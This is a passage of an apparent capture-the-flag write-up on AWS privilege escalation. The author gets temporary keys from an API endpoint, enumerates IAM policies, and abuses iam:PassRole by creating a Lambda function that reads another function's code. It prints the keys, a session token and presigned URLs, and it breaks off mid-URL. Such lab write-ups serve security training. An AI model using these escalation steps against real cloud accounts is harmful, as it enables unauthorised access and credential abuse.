2022-07-22 06:02:45     404845 photo1.jpg
2022-07-22 06:02:45     164700 photo2.jpg
2022-07-22 06:02:46     199175 photo3.jpg
2022-07-22 06:02:45     226781 photo4.jpg
2022-07-22 06:02:46     249156 photo5.jpg
2022-07-22 06:02:45     185166 photo6.jpg

┌──(kali㉿kali)-[/tmp/flag]
└─$ aws s3 ls s3://palindromecloudynekos/api/
2022-08-23 09:16:20        432 notes.txt

┌──(kali㉿kali)-[/tmp/flag]
└─$

I accessed the file through the initial cloudfront URL. The bucket URL had permissions to prevent notes.txt from being accessed directly from there

┌──(kali㉿kali)-[~]
└─$ curl https://d20whnyjsgpc34.cloudfront.net/api/notes.txt                         
# Neko Access System Invocation Notes

Invoke with the passcode in the header "x-cat-header". The passcode is found on the cloudfront site, all lower caps and separated using underscore.

https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent

All EC2 computing instances should be tagged with the key: 'agent' and the value set to your username. Otherwise, the antivirus cleaner will wipe out the resources.

┌──(kali㉿kali)-[~]
└─$

I accessed the endpoint stated in the notes.txt, and tested the access key

┌──(kali㉿kali)-[/tmp/flag]
└─$ curl https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent                                       

{"Message": "Error encountered. Please raise a support ticket through your relational team lead to resolve the issue."}                                                                                                                                                                        
┌──(kali㉿kali)-[/tmp/flag]
└─$ curl https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent -H "x-cat-header: cats_rule_the_world"              

{"Message": "Welcome there agent! Use the credentials wisely! It should be live for the next 120 minutes! Our antivirus will wipe them out and the associated resources after the expected time usage.", "Access_Key": "AKIAQYDFBGMSUFX5522K", "Secret_Key": "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"}                                                                                                                                                                        
┌──(kali㉿kali)-[/tmp/flag]
└─$
┌──(kali㉿kali)-[/tmp/flag]
└─$ aws configure                            
AWS Access Key ID [********************]: AKIAQYDFBGMSUFX5522K
AWS Secret Access Key [********************]: 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
Default region name [None]: us-east-1
Default output format [None]: 
┌──(kali㉿kali)-[/tmp/flag]
└─$

AWS

AWS IAM Enum

General

I did some general enumeration first

┌──(kali㉿kali)-[/tmp]
└─$ git clone https://github.com/andresriancho/enumerate-iam.git
Cloning into 'enumerate-iam'...
remote: Enumerating objects: 56, done.
remote: Total 56 (delta 0), reused 0 (delta 0), pack-reused 56
Receiving objects: 100% (56/56), 33.63 KiB | 3.74 MiB/s, done.
Resolving deltas: 100% (25/25), done.

┌──(kali㉿kali)-[/tmp]
└─$ cd enumerate-iam        

┌──(kali㉿kali)-[/tmp/enumerate-iam]
└─$ 

┌──(kali㉿kali)-[/tmp/enumerate-iam]
└─$ python3 ./enumerate-iam.py --access-key AKIAQYDFBGMSUFX5522K --secret-key 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 
2022-09-08 10:29:30,843 - 13773 - [INFO] Starting permission enumeration for access-key-id "AKIAQYDFBGMSUFX5522K"
2022-09-08 10:29:32,363 - 13773 - [INFO] -- Account ARN : arn:aws:iam::051751498533:user/user-b464a9d644194b0dafc3d166d36d5c4e
2022-09-08 10:29:32,364 - 13773 - [INFO] -- Account Id  : 051751498533
2022-09-08 10:29:32,364 - 13773 - [INFO] -- Account Path: user/user-b464a9d644194b0dafc3d166d36d5c4e
2022-09-08 10:29:32,615 - 13773 - [INFO] Attempting common-service describe / list brute force.
2022-09-08 10:29:35,551 - 13773 - [INFO] -- ec2.describe_regions() worked!
2022-09-08 10:29:36,374 - 13773 - [INFO] -- ec2.describe_vpcs() worked!
2022-09-08 10:29:36,790 - 13773 - [INFO] -- ec2.describe_subnets() worked!
2022-09-08 10:29:36,925 - 13773 - [INFO] -- ec2.describe_route_tables() worked!
/home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The rds client is currently using a deprecated endpoint: rds.amazonaws.com. In the next minor version this will be moved to rds.us-east-1.amazonaws.com. See https://github.com/boto/botocore/issues/2705 for more details.
  warnings.warn(
2022-09-08 10:29:37,139 - 13773 - [INFO] -- ec2.describe_security_groups() worked!
/home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The sqs client is currently using a deprecated endpoint: queue.amazonaws.com. In the next minor version this will be moved to sqs.us-east-1.amazonaws.com. See https://github.com/boto/botocore/issues/2705 for more details.
  warnings.warn(
/home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The shield client is currently using a deprecated endpoint: shield.us-east-1.amazonaws.com. In the next minor version this will be moved to shield.us-east-1.amazonaws.com. See https://github.com/boto/botocore/issues/2705 for more details.
  warnings.warn(
2022-09-08 10:29:45,719 - 13773 - [INFO] -- dynamodb.describe_endpoints() worked!
/home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The health client is currently using a deprecated endpoint: health.us-east-1.amazonaws.com. In the next minor version this will be moved to global.health.amazonaws.com. See https://github.com/boto/botocore/issues/2705 for more details.
  warnings.warn(
2022-09-08 10:29:49,024 - 13773 - [INFO] -- sts.get_session_token() worked!
2022-09-08 10:29:49,284 - 13773 - [INFO] -- sts.get_caller_identity() worked!
2022-09-08 10:29:51,080 - 13773 - [INFO] -- iam.list_roles() worked!
2022-09-08 10:29:52,409 - 13773 - [INFO] -- iam.list_instance_profiles() worked!
2022-09-08 10:29:55,985 - 13773 - [ERROR] Remove globalaccelerator.describe_accelerator_attributes action

I researched on AWS CLI and found some useful resources

STS

I want to find out the user first

┌──(kali㉿kali)-[/tmp]
└─$ aws sts get-session-token
{
    "Credentials": {
        "AccessKeyId": "ASIAQYDFBGMSZBF6TPOA",
        "SecretAccessKey": "Sb9XcmVH6D9AHBkyZqrEcmVDHj1Oc8bc+uTx3Sfc",
        "SessionToken": "IQoJb3JpZ2luX2VjEKL//////////wEaCXVzLWVhc3QtMSJHMEUCICzSTyubo2spTfu218pmipD3AYOuvnC5LlyAbhn0puoRAiEA8cdOAMs8VwGz2AuVcyvjq1l6dpB9QXrVl3KfF3cv1AIq6wEIOxABGgwwNTE3NTE0OTg1MzMiDLaA+gudPdOkAEldWCrIAa0Dqo6VDEv9Pdz6fft34HbHzK1bpbyCjN4I5BPoQDGDB9NL9ndxhITaq6fOB6dIXGDKYPhUbrTFvVfIDENksgK5MET6qgb3wNw9wEmGFzmdSBXDj5YLBUVZwx7VmdM/3y42Jcii9CuAY/Zl7aT6DSO3GOTpkbNEAYwsgQEtNR3mqiGS1+qlfa29dK+zieN40jvT4zoLi8mkYpCXfb17mY4P2NT/0GK4Dd2uin7zOcf/LCvoG3eN7jOfcETxf5OzfvC3WTsRx7FBMMyw6pgGOpgBPxv6X3QG+ux6pWx+xnmZvz06ju8lq4h9EOmDWd3gi3bUwSI8DkbAmEUGZ0VPXcBzZ2s+mgntkHwYFhLZAJd5s04sJnnEZDbaGWTM3SzS+1yuODmEHg9c31yHUmpEE/rI7TpaQRg1v4oaLvdhM03OCmDQY4uuT96Gi4xRLy7vLpklg3fXAWPt746hvsZ8HP61KlBLyEZJams=",
        "Expiration": "2022-09-09T13:35:08+00:00"
    }
}

The username can be found in the Arn. Its after the slash, in this case its user-a4f54ea053294863a598e6d01c5e4cc3

┌──(kali㉿kali)-[/tmp]
└─$ aws sts get-caller-identity
{
    "UserId": "AIDAQYDFBGMS6M3T3E7N7",
    "Account": "051751498533",
    "Arn": "arn:aws:iam::051751498533:user/user-a4f54ea053294863a598e6d01c5e4cc3"
}

┌──(kali㉿kali)-[/tmp]
└─$

IAM

I wanted to look at the list of roles first, to figure what I can do.

┌──(kali㉿kali)-[/tmp/flag]
└─$ aws iam list-roles    
    ...

        {
            "Path": "/",
            "RoleName": "ec2_agent_role",
            "RoleId": "AROAQYDFBGMSYSEMEVAEH",
            "Arn": "arn:aws:iam::051751498533:role/ec2_agent_role",
            "CreateDate": "2022-07-22T09:29:34+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "ec2.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "lambda_agent_development_role",
            "RoleId": "AROAQYDFBGMS2NDQR5JSE",
            "Arn": "arn:aws:iam::051751498533:role/lambda_agent_development_role",
            "CreateDate": "2022-07-22T09:29:34+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "lambda.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "lambda_agent_webservice_role",
            "RoleId": "AROAQYDFBGMSTH7VQVGQC",
            "Arn": "arn:aws:iam::051751498533:role/lambda_agent_webservice_role",
            "CreateDate": "2022-07-22T09:29:35+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "lambda.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
    ...

User Policy

I tried to find user policy to figure out what I can and cannot do

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ aws iam list-attached-user-policies --user-name user-a5df75ad1753434aa2db7dbe7d361b96                                                                         254 ⨯
{
    "AttachedPolicies": [
        {
            "PolicyName": "user-a5df75ad1753434aa2db7dbe7d361b96",
            "PolicyArn": "arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96"
        }
    ]
}

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ aws iam get-policy --policy-arn "arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96"
{
    "Policy": {
        "PolicyName": "user-a5df75ad1753434aa2db7dbe7d361b96",
        "PolicyId": "ANPAQYDFBGMSUGVZ37LUE",
        "Arn": "arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2022-09-09T07:35:46+00:00",
        "UpdateDate": "2022-09-09T07:35:46+00:00",
        "Tags": []
    }
}
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ aws iam get-policy-version --policy-arn "arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96" --version-id "v1"                            252 ⨯
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetPolicy",
                        "iam:GetPolicyVersion",
                        "iam:ListAttachedRolePolicies",
                        "iam:ListRoles"
                    ],
                    "Resource": "*"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": [
                        "lambda:CreateFunction",
                        "lambda:InvokeFunction",
                        "lambda:GetFunction"
                    ],
                    "Resource": "arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*"
                },
                {
                    "Sid": "VisualEditor2",
                    "Effect": "Allow",
                    "Action": [
                        "iam:ListAttachedUserPolicies"
                        "iam:ListAttachedUserPolicies"
                    ],
                    "Resource": "arn:aws:iam::051751498533:user/${aws:username}"
                },
                {
                    "Sid": "VisualEditor3",
                    "Effect": "Allow",
                    "Action": [
                        "iam:PassRole"
                    ],
                    "Resource": "arn:aws:iam::051751498533:role/lambda_agent_development_role"
                },
                {
                    "Sid": "VisualEditor4",
                    "Effect": "Allow",
                    "Action": [
                        "ec2:DescribeVpcs",
                        "ec2:DescribeRegions",
                        "ec2:DescribeSubnets",
                        "ec2:DescribeRouteTables",
                        "ec2:DescribeSecurityGroups",
                        "ec2:DescribeInstanceTypes",
                        "iam:ListInstanceProfiles"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2022-09-09T07:35:46+00:00"
    }
}

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$

You can pass the arn:aws:iam::051751498533:role/lambda_agent_development_role role, as it has iam:PassRole.

You can also create lambda functions with the name arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*, and then pass the above role to it.

AWS Lambda

Function Testing

Firstly, I tried running a lambda function with the help of this guide

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ nano index.js

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ cat index.js           

exports.handler = async function(event, context, callback) {
  return 'hello world';
}

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ zip function.zip index.js
  adding: index.js (deflated 7%)

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ aws lambda create-function --function-name user-a5df75ad1753434aa2db7dbe7d361b96-helloworld --zip-file fileb://function.zip --runtime nodejs16.x --handler index.handler --role arn:aws:iam::051751498533:role/lambda_agent_development_role
{
    "FunctionName": "user-a5df75ad1753434aa2db7dbe7d361b96-helloworld",
    "FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:user-a5df75ad1753434aa2db7dbe7d361b96-helloworld",
    "Runtime": "nodejs16.x",
    "Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role",
    "Handler": "index.handler",
    "CodeSize": 248,
    "Description": "",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2022-09-09T08:04:50.310+0000",
    "CodeSha256": "GC2ej8g5kiPRFpnf9EQvIcl4DkDriObC0LPg6kJxTLM=",
    "Version": "$LATEST",
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "918de20b-0d4d-4ef6-8674-704980ae7c8b",
    "State": "Pending",
    "StateReason": "The function is being created.",
    "StateReasonCode": "Creating",
    "PackageType": "Zip",
    "Architectures": [
        "x86_64"
    ],
    "EphemeralStorage": {
        "Size": 512
    }
}

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ aws lambda get-function --function-name user-a5df75ad1753434aa2db7dbe7d361b96-helloworld 
{
    "Configuration": {
        "FunctionName": "user-a5df75ad1753434aa2db7dbe7d361b96-helloworld",
        "FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:user-a5df75ad1753434aa2db7dbe7d361b96-helloworld",
        "Runtime": "nodejs16.x",
        "Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role",
        "Handler": "index.handler",
        "CodeSize": 248,
        "Description": "",
        "Timeout": 3,
        "MemorySize": 128,
        "LastModified": "2022-09-09T08:04:50.310+0000",
        "CodeSha256": "GC2ej8g5kiPRFpnf9EQvIcl4DkDriObC0LPg6kJxTLM=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "97b94a13-cc62-4ce9-bef1-307ced395057",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/user-a5df75ad1753434aa2db7dbe7d361b96-helloworld-adf2d0ad-5438-45a2-bde3-3a9342de84e2?versionId=j8OIPEw3mHT2701GwQ5R7di10kb.KGZh&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkgwRgIhAML%2Fuslw0lHqTwVUclp0IjRq4j97DKbSw8fqdcAWhZdVAiEApRqDANMihAVPnaTPCFfYkQLVzWqUcbTGX3fYbSm7G3Aq2wQIQBAEGgwyOTUzMzg3MDM1ODMiDCIdr4DbWo5ooe%2F48Sq4BNKHgqSncjFRgBPZoyZG3qvqJiFBDYCGkQxYwzfoWJw6fKJ38fbeRI9hEAXz45nPG5YdPYwPlbTxV0KGA9wJxONeA7e3%2BDrhdZalJlMYdWc3f0okBYN%2FzfGR7Dr%2F40gtl4TqsjEMsYn5K83554LhIaAvpF3RsEM5PGmlF6FNDKxpArX41kGqzBFyO%2Fc6XnT4HmwFZd178cCDe3b9TtzwiJ9uKptgvPJ0rLAJwFWn%2BSYDj7N%2Bk6nLPw07Ca7%2BjljKyzJQY39VYRYRtbOemDQnoe9q9tAfhcAeWUsLMQpmQrYtMU%2FA8qtsXNpwfXyJYRQOQ8hbo258b7PBrhMKmr12KQp4UbKXD%2B9Ch8ONBTfkaBc4%2BQzE6Q6lqqhUwWg3TklBFDpkr4phU%2FY69PBn60ZCUmDjJiAqGjiretanxVzcEeP56YaT3wtaEYHY2DqfmR35I4SAfaQHqpu0oDR2FtyvsJiJNVh2f2PGLdJELlKAyP%2BWRRFpiDtTxQyA%2FPf6J03p71ZhkOQdZnOhSCiUx8qhiuhwIbK5zIqwgcMHhnF0WFr7tQLHRbgLqG2If2XQQgMQ5jOYY%2BmeVUNR3rhKeWtTRJk%2Bf0iJruf4S%2Fd5biQrFQ7HQzWEkSAbeJHZhHqrLo7K2gYnZ%2Fb%2FjweGkb%2F0mIzR8co72At6cJLZskOHorltPWhEyEa5J7NfkcZokuRPDcX14xAdGH04yfjBNJ1w60rIvzo8Wf5nzVBNSNZC3dAzWYkJGQOvFT9pQ%2FwwvMzrmAY6qAHq%2FszymAahlDysJ89xW19gKNJem84Bp7lEVUjPngmTEWDw7Y%2Ft5iVkEikEtfHnAn1WSHfoVgpl3GbAyh%2FawyzVfKirLfXuLw%2FWAsSsIiKd2O5YEgc3tX21miUktThFjIFEiomiUMbwMtmMSngJPBBKvFCmuScSC6vqplwYE1ykWQvGxKetwmsj%2BnztQKIas2aHBhZyHTdWbajX7y2EWMWiHMB6czPE1xI%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20220909T080615Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LPUL5JLYKT%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=cc5fdd01b0c9b58854a454b446f84fe461a96d1ef1f683702296888a3f0d82c6"
    }
}
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ aws lambda invoke --function-name user-a5df75ad1753434aa2db7dbe7d361b96-helloworld out.txt                                                                    252 ⨯
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ cat out.txt 
"hello world"    

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$

Lambda Role Policy

I tried enumerating more on what this lambda role could do to see how could I further privesc from the lambda function. It turns out that there are EC2 privileges here

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS/lambda]
└─$ aws iam list-attached-role-policies --role-name "lambda_agent_development_role"                                                                               254 ⨯
{
    "AttachedPolicies": [
        {
            "PolicyName": "iam_policy_for_lambda_agent_development_role",
            "PolicyArn": "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role"
        }
    ]y
}

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS/lambda]
└─$ aws iam get-policy --policy-arn "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role"
{
    "Policy": {
        "PolicyName": "iam_policy_for_lambda_agent_development_role",
        "PolicyId": "ANPAQYDFBGMS2XASGX3JS",
        "Arn": "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role",
        "Path": "/",
        "DefaultVersionId": "v2",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "AWS IAM Policy for Lambda agent development service",
        "CreateDate": "2022-07-22T09:29:36+00:00",
        "UpdateDate": "2022-08-23T13:16:26+00:00",
        "Tags": []
    }
}

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS/lambda]
└─$ aws iam get-policy-version --policy-arn "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role" --version-id "v2"
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "ec2:RunInstances",
                        "ec2:CreateVolume",
                        "ec2:CreateTags"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "lambda:GetFunction"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service"
                },
                {
                    "Action": [
                        "iam:PassRole"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:iam::051751498533:role/ec2_agent_role",
                    "Sid": "VisualEditor2"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v2",
        "IsDefaultVersion": true,
        "CreateDate": "2022-08-23T13:16:26+00:00"
    }
}


┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS/lambda]
└─$
┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$ aws lambda invoke --function-name arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service /tmp/out.txt

An error occurred (AccessDeniedException) when calling the Invoke operation: User: arn:aws:iam::051751498533:user/user-00e6fd16c555452c900d1b14d6af61c5 is not authorized to perform: lambda:InvokeFunction on resource: arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service because no identity-based policy allows the lambda:InvokeFunction action

┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$

Lambda Privesc, view other Lambda

I tried viewing the other lambda function first, since it's a privilege with the lambda_agent role. I referred to here to help with the code.

lambda_function.py

# https://www.learnaws.org/2020/12/16/aws-ec2-boto3-ultimate-guide/
# https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/lambda_privesc/cheat_sheet_chris.md
import boto3

REGION_NAME="ap-southeast-1"

# https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/lambda.html#Lambda.Client.get_function
def get_function():
    lambda_client = boto3.client('lambda')
    response = lambda_client.get_function(
        FunctionName='arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service'
    )
    return response

def lambda_handler(event, context):
    func_response = get_function()
    return func_response

#role_arn="arn:aws:iam::051751498533:role/ec2_agent_role"

run.sh

LAMBDA_FUNC=user-00e6fd16c555452c900d1b14d6af61c5-ec2test4

pip install --target ./package boto3
cd package
zip -r ../function.zip . > /dev/null
cd ..
zip -g function.zip lambda_function.py
rm -rf package

aws lambda create-function --zip-file fileb://function.zip --runtime python3.7 --handler lambda_function.lambda_handler --role arn:aws:iam::051751498533:role/lambda_agent_development_role --function-name $LAMBDA_FUNC
aws lambda invoke --function-name $LAMBDA_FUNC /tmp/out.txt
cat /tmp/out.txt
┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$ ls
lambda_function.py  run.sh

┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$ ./run.sh
...
updating: lambda_function.py (deflated 43%)
{
    "FunctionName": "user-00e6fd16c555452c900d1b14d6af61c5-ec2test4",
    "FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:user-00e6fd16c555452c900d1b14d6af61c5-ec2test4",
    "Runtime": "python3.7",
    "Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role",
    "Handler": "lambda_function.lambda_handler",
    "CodeSize": 9332181,
    "Description": "",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2022-09-09T10:00:13.477+0000",
    "CodeSha256": "WZtZZh86oUgfKI5/0zRc+JVC1++pkWsl22clPyWDaUo=",
    "Version": "$LATEST",
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "bb298cd0-0211-460a-a5ad-15c90b2173c1",
    "State": "Pending",
    "StateReason": "The function is being created.",
    "StateReasonCode": "Creating",
    "PackageType": "Zip",
    "Architectures": [
        "x86_64"
    ],
    "EphemeralStorage": {
        "Size": 512
    }
}
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
{"ResponseMetadata": {"RequestId": "df15839d-bf36-4cf1-a6d0-6a6f8fea517e", "HTTPStatusCode": 200, "HTTPHeaders": {"date": "Fri, 09 Sep 2022 10:00:17 GMT", "content-type": "application/json", "content-length": "2848", "connection": "keep-alive", "x-amzn-requestid": "df15839d-bf36-4cf1-a6d0-6a6f8fea517e"}, "RetryAttempts": 0}, "Configuration": {"FunctionName": "cat-service", "FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service", "Runtime": "python3.9", "Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role", "Handler": "main.lambda_handler", "CodeSize": 416, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2022-08-23T13:16:19.469+0000", "CodeSha256": "52UWd1KHAZub5aJIS953mHrKVM0mFPiVBuGahWFGaz4=", "Version": "$LATEST", "TracingConfig": {"Mode": "PassThrough"}, "RevisionId": "90be1b48-3339-4a78-a083-b77e285b7b8a", "State": "Active", "LastUpdateStatus": "Successful", "PackageType": "Zip"}, "Code": {"RepositoryType": "S3", "Location": "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/cat-service-f02e065f-3e98-4c04-8d77-c627d6d8d5a2?versionId=XMHQ4OlZGN52Y_FiI23NgMfVyC2eL_sD&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgVPWDaYHJlMRuv68%2F2KU7CnITmi1VfjUFYA%2FNOKdyXJwCIGttcU4mQ3yG6heLPsf68OxVG%2Be%2B3XgadfsmNxjqHhtnKtsECEIQBBoMMjk1MzM4NzAzNTgzIgybdHXD%2BdW7I4bBzosquATyJkvl9EBzjY3gRW8PYnOx9Hx%2FhkP%2FtcoKs8V960UbbTm%2FvdM9uHGqRPQOymRA5rV8Mn4ab7kOLwmkoj8idhSYVqxmrmVQMw%2F38rknTmhjctVxiBTtySxajN1Lk3OcN%2FTNTPp084PwrztLu6J69MpcbtU5We0yUCR%2BimmbMQ3UZE1KrqMCMZf%2Ffw9PIuaUpb25wB58U%2BusFKNDESVGnasMuLCaSkoV4PQhvJbqTnt4Mj1QMLG25J5gyks5CejdxvWN5GEEFIZkAUkhXLO24IqBeNg3D28x7ndGmYDdtH93rdqichuColz0tZCjJHdVd2T2R3ympa54LVeqWi1p1pwF%2BIt%2BEd%2BOV3bsDFIR%2FOKcd8HQd9TvOtsh6mAijX0vzOMoIP0gZbzvOHHfrE1Cl4pLtw3kBWki5Zj72nea2%2FwLGYslN2Y1Wu1IDk1%2FuONb4%2FJxoxG2AbHJw7a0nTAWByfRp43K7641WZogJK9kiOG%2FIFaXkbR0gTFLngLGHz8GLjBoFyHDaklBChdB60OpejmYgZnCTPRIyBsSR7i3%2BPsydGzMI8QzsLD2W2qSWt2C6N0kWwqeyyzvu6EYio1l2YEmHtQa14y0U6Dz7wNFN0VLnKVvAgK22cktfZbm11bPG%2FAyjUKRcBqUVaZyBl6b9JgKGdKwevmJzYI%2FsAN5oxtDwvO%2FiRLFVeVV2XflxqVLw9wqPr%2BnF3yw%2FTzUdtbTadkGsDDfeGe8iX3TNnbcCpiTAB4VFKyk8sDHMOeI7JgGOqoB943K6qC1kUngqxMXWO%2BXUDiyHh15Q3jaJiWbtJpRrT08fxIT%2BWxZauF5fuL1NEEIOu%2FBMnbbvV5JfOys0RLJ87PcsZ%2B9K7gDECtZyLobJvtCbjyulcVgQQSdiiojrqDhWGFxrHKUmbddgLTfWpP0PR%2BWPVBrFzZ9m66avkdzCgoomtKHtVZCbEGl1nv9Sab6NytJhZufNEPB427FR%2FkAEQtgHXPaDmjNrX8%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20220909T100017Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LP6M2EGZJY%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=6d5a839f51be92fcdb385485ae8cb64dd6b02fb8dd92fac6296b81ce1899024d"}}                                                                                                                                                                        
┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$

View File

┌──(kali㉿kali)-[/tmp]
└─$ wget "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/cat-service-f02e065f-3e98-4c04-8d77-c627d6d8d5a2?versionId=XMHQ4OlZGN52Y_FiI23NgMfVyC2eL_sD&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgVPWDaYHJlMRuv68%2F2KU7CnITmi1VfjUFYA%2FNOKdyXJwCIGttcU4mQ3yG6heLPsf68OxVG%2Be%2B3XgadfsmNxjqHhtnKtsECEIQBBoMMjk1MzM4NzAzNTgzIgybdHXD%2BdW7I4bBzosquATyJkvl9EBzjY3gRW8PYnOx9Hx%2FhkP%2FtcoKs8V960UbbTm%2FvdM9uHGqRPQOymRA5rV8Mn4ab7kOLwmkoj8idhSYVqxmrmVQMw%2F38rknTmhjctVxiBTtySxajN1Lk3OcN%2FTNTPp084PwrztLu6J69MpcbtU5We0yUCR%2BimmbMQ3UZE1KrqMCMZf%2Ffw9PIuaUpb25wB58U%2BusFKNDESVGnasMuLCaSkoV4PQhvJbqTnt4Mj1QMLG25J5gyks5CejdxvWN5GEEFIZkAUkhXLO24IqBeNg3D28x7ndGmYDdtH93rdqichuColz0tZCjJHdVd2T2R3ympa54LVeqWi1p1pwF%2BIt%2BEd%2BOV3bsDFIR%2FOKcd8HQd9TvOtsh6mAijX0vzOMoIP0gZbzvOHHfrE1Cl4pLtw3kBWki5Zj72nea2%2FwLGYslN2Y1Wu1I